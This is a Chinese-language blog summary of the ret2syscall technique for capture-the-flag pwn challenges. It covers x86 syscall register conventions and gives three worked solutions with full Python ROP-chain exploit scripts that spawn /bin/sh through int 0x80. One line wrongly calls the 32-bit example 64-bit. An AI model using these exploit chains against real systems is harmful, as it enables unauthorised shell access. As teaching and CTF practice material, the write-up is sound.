ret2syscall简单总结

news2024/11/26 4:54:42

主要是自己的简单的学习总结。

知识点

关于系统调用如何传递参数问题,即系统调用约定(syscall,int 80h,svc)_int 80h intel汇编用法-CSDN博客

ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)

主要是参数和调用号的传递

像ax这种的可以通过函数返回值来控制对应的值,比如read返回读取的字节数。

64位

syscall

syscall是64位的系统调用

调用号通过 rax传递

参数传递: rdirsirdxrcxr8r9

32位

int 80h

调用号: eax

参数: ebxecxedxesiedi


Intel 体系系统调用最多6个参数,都是通过寄存器传递,都不通过栈。

系统调用的返回结果在ax

Example

以64位为例

我们想调用

execve("/bin/sh",NULL,NULL)

eax : execve的系统调用号 0xb

ebx : 第一个参数,指向"/bin/sh"的地址

ecx : 第二个参数,0

edx: 第三个参数,0

一些例题

就是
ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)
里面提到的几道

[buu] inndy_rop

题目

checksec:
checksec
这里有个很关键的点:
在这里插入图片描述

从这里要意识到,这个程序是静态链接的(当然也可以file查看elf文件),所以ret2libc是失效了。

这道题用的就是文章提到的第一种方法,利用ecx[ecx] 来设置好写入地址以及写入的值

要注意这里查找gadget的方法: ROPgadget --binary=./pwn | grep 'pop dword ptr \[ecx\]'
在这里插入图片描述
然后是syscall调用execve
格式: execve(“/bin/sh”,0,0)

根据系统调用传递规则:

eax: 11
ebx: "/bin/sh"地址
ecx: 0
edx: 0
int 0x80

对应exp:

pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
pop_ecx_mem_ret = 0x0804b5ba # [ecx]
int_0x80 = 0x0806c943

bss = 0x80EAF80


payload = b''
payload += b'a'*0xC + b'b'*4 + p32(pop_ecx_ret) + p32(bss) + p32(pop_ecx_mem_ret) + b'/bin' \
		 + p32(pop_ecx_ret) + p32(bss+4) + p32(pop_ecx_mem_ret) + b'/sh\x00'

payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

sl(payload)

p.interactive()

[buu] cmcc_simplerop

题目
ubuntu16
checksec:
在这里插入图片描述
同样的,也是静态链接。

程序里面有read,而且bss段可写,那么就对应文章提到的第二种方法。
这里存在80字节的溢出。
考虑把返回地址改为read函数,再进行一次read,把/bin/sh 读入bss段。

然后就是后面syscall的时候要传 eax=11,但此时栈顶的三个元素是read函数的参数,所以先要pop三次清空栈顶。

最后还有一个点要注意,写入的字符串离返回地址 ebp+4的offset是0x20 而不是用IDA算出来的 0x14 + 4 = 0x18
这可以用gdb调试查看:
在这里插入图片描述
read函数原型

ssize_t read(int fd,void *buf,size_t count);
read(0,bss,8);

然后就是这里直接找ecx的gadget找不到,但pop_ecx_ebx_ret也能用

对应exp:

pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
pop_edx_ecx_ebx_ret = 0x0806e850

offset = 0x20
read = 0x0806CD50
bss = 0x80EAF80

payload = b'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx_ret) # pop * 3
payload += p32(0) + p32(bss) + p32(8)
payload += p32(pop_eax_ret) + p32(11) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ebx_ret) + p32(0) + p32(bss) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

sla("Your input :",payload)
sl(b'/bin/sh\x00')

p.interactive()

picoctf_2018_can_you_gets_me

题目
跟上面的题一样的,这里就记录下直接用 ROPgadget生成的ropchain的打法

ROPgadget --binary ./pwn --ropchain

在这里插入图片描述

对应IDA看下offset即可
24+4=28

直接用生成的ropchain

# Padding goes here
offsest = 28
p = b'a'*offsest

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80


io.sendafter("NAME!",p)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1897864.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何从腾讯云迁移到AWS

随着跨境出海潮不断扩大&#xff0c;企业越来越意识到将工作负载迁移到海外节点的必要性&#xff0c;以获取更多功能、灵活性和性能。然而&#xff0c;顺利迁移业务主机并确保业务稳定访问是一项具有挑战性的任务。在此挑战中&#xff0c;借助AWS迁移工具和迁移流程的强大支持&…

一文了解常见DNS结构

很多企业忽略DNS这个关键的组件&#xff0c;而当DNS出现问题是&#xff0c;就会导致网站无法访问、电子邮件无法发送和接收&#xff0c;从而影响到企业的正常运行。而网络团队成员如果想要处理DNS问题就必须对所在网络的DNS架构有一定的理解。 主DNS服务器&#xff1a; 主DNS服…

微信开放能力 微信小程序获取微信头像、昵称、转发功能、分享到朋友圈、手机号验证组件、客服功能等

一、获取微信头像 当小程序需要让用户完善个人资料时&#xff0c;我们可以通过提供的头像、昵称填写能力快速完善示例 在 wxml 文件中 <view><button class"btn" open-type"chooseAvatar" bindchooseavatar"chooseAvatar"><im…

深度报告 | 百度安全携手极越安全发布《整车安全渗透测试白皮书》

注重点&#xff0c;如何确保车辆全生命周期的安全已成为整个行业亟待解决的问题。对于车企而言&#xff0c;通过渗透测试尽量多地发现安全威胁&#xff0c;是确保车辆信息系统的稳定运行、保障用户安全驾驶至关重要的措施。然而&#xff0c;传统的渗透测试方法已无法满足智能网…

谈大语言模型动态思维流程编排

尽管大语言模型已经呈现出了强大的威力&#xff0c;但是如何让它完美地完成一个大的问题&#xff0c;仍然是一个巨大的挑战。 需要精心地给予大模型许多的提示&#xff08;Prompt&#xff09;。对于一个复杂的应用场景&#xff0c;编写一套完整的&#xff0c;准确无误的提示&am…

Ubuntu 24.04 上安装 Kubernetes,超级详细的教程!

Kubernetes 是一个免费的开源容器编排工具&#xff0c;它允许基于容器的应用程序的自动化部署、扩展和管理。 我们将介绍如何使用 Kubeadm 逐步在 Ubuntu 24.04 上安装 Kubernetes 此次演示中&#xff0c;我们将使用以下三个 Ubuntu 24.04 实例 Instance 1 : Master Node (k…

【Mathematica14.0】快速从下载安装到使用

目录 1.简介 2.下载安装 下载 安装 3.一小时掌握mathematica使用 单元模式 内置函数 符号表达式 迭代器 赋值 通配符及查找替换 函数定义 匿名函数&#xff08;拉姆达表达式&#xff09; 函数映射 函数式与运算符 函数自定义选项 图形可视化 交互式界面 数值…

window系统openssl开发环境搭建(VS2017)

window系统openssl开发环境搭建 VS2017 一、下载openssl二、安装openssl三、openssl项目配置3.1 配置include文件3.2 配置openssl动态库四、编写openssl测试代码五、问题总结5.1 问题 一5.2 问题二一、下载openssl https://slproweb.com/products/Win32OpenSSL.html 根据自己…

本迪戈和阿德莱德银行与MongoDB合作, 利用生成式AI对银行核心技术进行现代化改造

MongoDB公司&#xff08;纳斯达克股票代码&#xff1a;MDB&#xff09;近日宣布与本迪戈和阿德莱德银行 (Bendigo and Adelaide Bank&#xff0c;澳大利亚证券交易所股票代码&#xff1a;BEN&#xff09;建立合作伙伴关系。 本迪戈和阿德莱德银行将使用MongoDB Atlas对其银行核…

自闭症孩子的语言之旅:最晚几岁会说话的探索与思考

作为在自闭症学校工作的教育者&#xff0c;我深知自闭症这一神经发展性障碍给孩子们带来的挑战&#xff0c;尤其是他们在语言发展方面的困难。自闭症孩子的语言发展轨迹各不相同&#xff0c;有的孩子可能早早地展现出语言天赋&#xff0c;而有的孩子则可能迟迟不开口。那么&…

Windows搭建本地对象存储服务MinIO并且使用springboot整合

开发文档&#xff1a; MinIO Windows中文文档 MinIO Object Storage for Windows &#xff08;英文文档&#xff09; 1、准备工作 准备一个空的文件夹&#xff0c;用来存放minio相关的内容&#xff1b; 这里是在D盘创建一个minio的文件夹&#xff1b; 后续所有跟MinIO相关…

【LLM】一、利用ollama本地部署大模型

目录 前言 一、Ollama 简介 1、什么是Ollama 2、特点&#xff1a; 二、Windows部署 1.下载 2.安装 3.测试安装 4.模型部署&#xff1a; 5.注意 三、 Docker部署 1.docker安装 2.ollama镜像拉取 3.ollama运行容器 4.模型部署&#xff1a; 5.注意&#xff1a; 总结 前言…

Ubuntu系统复制文件到共享文件夹出错

1、问题描述 Ubuntu系统复制文件到共享文件夹时&#xff0c;出现拼接文件时出错&#xff1a;输入/输出错误。 使用cp命令&#xff1a; cp -Rf XXX YYY 也是出错&#xff1a; cp: 写入 xxx 出错: 输入/输出错误 2、查看磁盘空间 查看磁盘空间&#xff0c;显示空间还有剩余…

【C语言】qsort()函数详解:能给万物排序的神奇函数

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:C语言 ⚙️操作环境:Visual Studio 2022 目录 一.qsort()函数的基本信息及功能 二.常见的排序算法及冒泡排序 三.逐一解读qsort()函数的参数及其原理 1.void* base 2.size_t num 3.size_t size 4.int (*compar)(c…

ANN文献综述

人工神经网络文献综述 摘要 人工神经网络&#xff08;Artificial Neural Networks, ANNs&#xff09;是由多个简单的、相互连接的处理单元组成的自适应系统&#xff0c;通过调整这些单元之间的连接强度&#xff0c;ANNs能够实现对复杂数据的建模和预测。本文综述了ANNs的基本…

进程、程序、应用程序之间的关系

文章目录 进程和程序进程和应用程序总结参考资料 进程和程序 程序&#xff1a;程序是存放在硬盘中的可执行文件&#xff0c;主要包括代码指令和数据。程序本身是一个静态的文件&#xff0c;只有在被操作系统加载到内存中并执行时才会变成进程。 进程&#xff1a;进程是程序在…

换根dp,CF 633F - The Chocolate Spree

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 633F - The Chocolate Spree 二、解题报告 1、思路分析 2600的题&#xff0c;但是不算很困难。 先考虑暴力做法&#xff0c;如何得到两条不相交的路径&#xff1f; 枚举删除的边&#xff0c;得到两棵子树…

Django自动生成Swagger接口文档 —— Python

1. 前言 当接口开发完成&#xff0c;紧接着需要编写接口文档。传统的接口文档通常都是使用Word或者一些接口文档管理平台进行编写&#xff0c;但此类接口文档维护更新比较麻烦&#xff0c;每次接口有变更&#xff0c;需要手动修改接口文档。在实际的工作中&#xff0c;经常会遇…

不错的用户需求访谈方法

不错的用户需求访谈方法&#xff0c;可以用如下的矩阵&#xff0c;用来引导用户访谈&#xff1a;

产科管理系统 专科电子病历系统源码,前后端分离架构,多家医院产科广泛运用,系统稳定,功能齐全

产科管理系统 专科电子病历系统源码&#xff0c;前后端分离架构&#xff0c;多家医院产科广泛运用&#xff0c;系统稳定&#xff0c;功能齐全 产科管理系统&#xff0c;特别是产科信息管理系统&#xff08;Obstetrical Information Management System&#xff0c;简称OIMS&…